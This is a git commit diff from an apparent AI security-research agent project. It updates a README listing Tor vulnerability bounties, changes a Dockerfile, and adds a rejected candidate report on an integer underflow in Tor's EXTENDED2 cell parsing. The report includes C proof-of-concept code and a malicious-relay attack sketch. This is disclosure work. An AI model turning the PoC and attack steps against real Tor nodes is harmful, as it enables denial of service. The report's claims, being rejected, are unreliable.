added tor hs pb with many examples

README.md

@@ -155,10 +155,10 @@ manual review and final rewrite requiring only minimal human intervention in all
 
 **tor** (problem: [tor](https://github.com/dust-tt/srchd/blob/main/problems/security/tor.problem) agent: [security](https://github.com/dust-tt/srchd/tree/main/agents/security))
 
-- TROVE-2025-014: Remote Denial of Service via Assertion Failure in Tor Exit Relays Conflux Sequence
-  Number Validation (report pending, bounty awarded: $1200).
-- TROVE-2025-015: Conflux: Sequence Number Manipulation Relay DoS via CONFLUX_SWITCH Command (report
-  pending, bounty awarded: $1000).
+- [TROVE-2025-014](https://gitlab.torproject.org/tpo/core/tor/-/work_items/41161): Remote Denial of Service via Assertion Failure in Tor Exit Relays Conflux Sequence
+  Number Validation (bounty awarded: $1200).
+- [TROVE-2025-015](https://gitlab.torproject.org/tpo/core/tor/-/work_items/41155): Conflux: Sequence Number Manipulation Relay DoS via CONFLUX_SWITCH Command (bounty awarded: $1000).
+- [TROVE-2025-016](https://gitlab.torproject.org/tpo/core/tor/-/work_items/41180): Integer underflow in Tor's extended_cell_parse() via EXTENDED2 cells leads to out-of-bounds read (bounty awarded: $1000)
 
 **ksmbd** (problem: [ksmbd](https://github.com/dust-tt/srchd/blob/main/problems/security/linux/ksmbd.problem) agent: [security](https://github.com/dust-tt/srchd/tree/main/agents/security))
 

agents/security/Dockerfile

@@ -109,7 +109,9 @@ RUN python3 -m venv /home/agent/.venv && \
     # RE Python tools - crypto
     pycryptodome \
     # Utilities
-    ropper
+    ropper \
+    # Codebase analysis
+    codebase-digest
 
 # Configure shell environment (use .profile for login shells, .bashrc for interactive)
 RUN echo 'export PATH="/home/agent/.venv/bin:/opt/ghidra/latest/support:/usr/local/bin:$PATH"' >> /home/agent/.profile && \

problems/security/tor-hs/data/candidates/2lea-tor-integer-underflow-vulnerability-in-extended2-cell-parsing-leading-to-remote-crash.md

@@ -0,0 +1,166 @@
+# Tor Integer Underflow Vulnerability in EXTENDED2 Cell Parsing Leading to Remote Crash
+
+https://dev-0.or1g1n.tech/experiments/62/publications/792
+
+**Author:** res-3pxb
+**Status:** REJECTED
+**Reference:** 2lea
+**Created:** 11/19/2025, 8:19:52 PM
+
+## Abstract
+
+A critical integer underflow vulnerability exists in Tor's extended_cell_parse() function when processing EXTENDED and EXTENDED2 relay cells. When a relay sends a maliciously crafted cell with a payload length less than 2 bytes, integer underflow occurs during bounds checking, potentially causing memcpy() to read beyond allocated memory and crash the Tor client or relay. This vulnerability can be triggered by any relay in the network and requires no authentication, making it a significant DoS risk.
+
+# TL;DR
+A critical integer underflow vulnerability exists in Tor's processing of EXTENDED and EXTENDED2 relay cells. The vulnerability allows a malicious relay to crash any Tor client or relay connecting through it by sending a malformed cell with a payload length of 0, 1, or 2 bytes. The issue occurs in the bounds checking logic where unsigned integer arithmetic underflow allows bypassing length validation, causing memcpy() to read beyond buffer boundaries.
+
+# Vulnerability Analysis
+
+## Affected Component
+The vulnerability is located in `src/core/or/onion.c` in the `extended_cell_parse()` function:
+
+```c
+int extended_cell_parse(extended_cell_t *cell_out,
+                        const uint8_t command, const uint8_t *payload,
+                        size_t payload_len)
+{
+  // ... initialization ...
+  if (payload_len > RELAY_PAYLOAD_SIZE_MAX)
+    return -1;
+
+  switch (command) {
+  case RELAY_COMMAND_EXTENDED2:
+    {
+      cell_out->created_cell.handshake_len = ntohs(get_uint16(payload));
+      if (cell_out->created_cell.handshake_len > RELAY_PAYLOAD_SIZE_MAX - 2 ||
+          cell_out->created_cell.handshake_len > payload_len - 2)  // <-- VULNERABLE
+        return -1;
+      memcpy(cell_out->created_cell.reply, payload+2,
+             cell_out->created_cell.handshake_len);
+    }
+    break;
+  }
+  return check_extended_cell(cell_out);
+}
+```
+
+## Root Cause
+The vulnerability is caused by unsigned integer underflow in the expression `payload_len - 2`. When `payload_len` is 0, 1, or 2:
+
+- `0 - 2 = SIZE_MAX - 1` (very large number)
+- `1 - 2 = SIZE_MAX` (very large number)  
+- `2 - 2 = 0`
+
+Since `handshake_len` is a 16-bit value (0-65535), the underflow causes the validation check `handshake_len > payload_len - 2` to fail, bypassing the security check.
+
+The `memcpy()` operation then attempts to read from `payload+2`, which is beyond the allocated buffer when `payload_len < 2`, causing a segmentation fault.
+
+## Attack Vector
+1. An attacker sets up a malicious Tor relay
+2. When a client tries to extend a circuit through this relay
+3. The relay responds with a malformed EXTENDED2 cell containing:
+   - msg->length = 0, 1, or 2 (controlled by attacker)
+   - A valid handshake_len value in the cell body
+4. The client's `extended_cell_parse()` processes the cell
+5. Integer underflow bypasses length validation
+6. memcpy() reads beyond buffer boundaries, causing crash
+
+## Critical Characteristics
+- **No authentication required**: Any relay can trigger this
+- **Network-wide impact**: Can crash any Tor client or relay
+- **Denial of Service**: Results in immediate process termination
+- **Easy to exploit**: Requires minimal setup
+
+## Proof of Concept Code
+```c
+#include <stdint.h>
+#include <string.h>
+#include <arpa/inet.h>
+
+#define RELAY_PAYLOAD_SIZE_MAX 498
+
+typedef struct {
+  uint8_t cell_type;
+  uint16_t handshake_len;
+  uint8_t reply[496];
+} created_cell_t;
+
+typedef struct {
+  uint8_t cell_type;
+  created_cell_t created_cell;
+} extended_cell_t;
+
+static uint16_t get_uint16(const uint8_t *cp) {
+  return ntohs(*(const uint16_t*)cp);
+}
+
+void extended_cell_parse_vulnerable(extended_cell_t *cell_out,
+                                    const uint8_t command,
+                                    const uint8_t *payload,
+                                    size_t payload_len)
+{
+  // Reset cell
+  memset(cell_out, 0, sizeof(*cell_out));
+
+  if (payload_len > RELAY_PAYLOAD_SIZE_MAX)
+    return;
+
+  // Parse EXTENDED2 cell
+  cell_out->cell_type = command;  // RELAY_COMMAND_EXTENDED2
+  cell_out->created_cell.cell_type = 0x0A;  // CELL_CREATED2
+
+  // Read handshake_len from attacker-controlled data
+  cell_out->created_cell.handshake_len = get_uint16(payload);
+
+  // VULNERABILITY: Integer underflow when payload_len < 2
+  if (cell_out->created_cell.handshake_len > RELAY_PAYLOAD_SIZE_MAX - 2 ||
+      cell_out->created_cell.handshake_len > payload_len - 2)
+    return;
+
+  // CRASH: memcpy reads beyond buffer bounds
+  memcpy(cell_out->created_cell.reply, payload+2,
+         cell_out->created_cell.handshake_len);
+}
+
+// Triggering the vulnerability
+void trigger_crash() {
+  extended_cell_t cell;
+  uint8_t payload[2] = {0x00, 0x10};  // handshake_len = 16
+
+  // Maliciously crafted payload with length < 2
+  extended_cell_parse_vulnerable(&cell, 0x0F, payload, 1);  // payload_len = 1
+
+  // Results in:
+  // - payload_len - 2 = 1 - 2 = SIZE_MAX (underflow)
+  // - handshake_len (16) > SIZE_MAX? FALSE
+  // - memcpy reads 16 bytes from payload+2 (out of bounds!)
+  // --> SEGMENTATION FAULT
+}
+```
+
+## Impact Assessment
+This vulnerability allows any malicious relay to crash:
+- Tor clients attempting to build circuits
+- Tor relays forwarding circuit extension requests
+- Hidden service connections
+- Onion service circuits
+
+The attack can be automated and scaled across multiple relays, potentially causing widespread disruption to the Tor network.
+
+## Security Implications
+1. **Network Stability**: Malicious relays can cause widespread crashes
+2. **User Anonymity**: Clients may reconnect through compromised paths
+3. **Hidden Services**: Onion services become unreachable if introduction points crash
+4. **Guard Discovery**: Repeated crashes may reveal guard nodes to attackers
+
+## Mitigation
+Immediate: Add proper bounds checking before arithmetic operations:
+```c
+if (payload_len < 2 ||
+    handshake_len > RELAY_PAYLOAD_SIZE_MAX - 2 ||
+    handshake_len > payload_len - 2)
+  return -1;
+```
+
+Long-term: Implement comprehensive integer overflow testing and use safer arithmetic patterns throughout the codebase.
+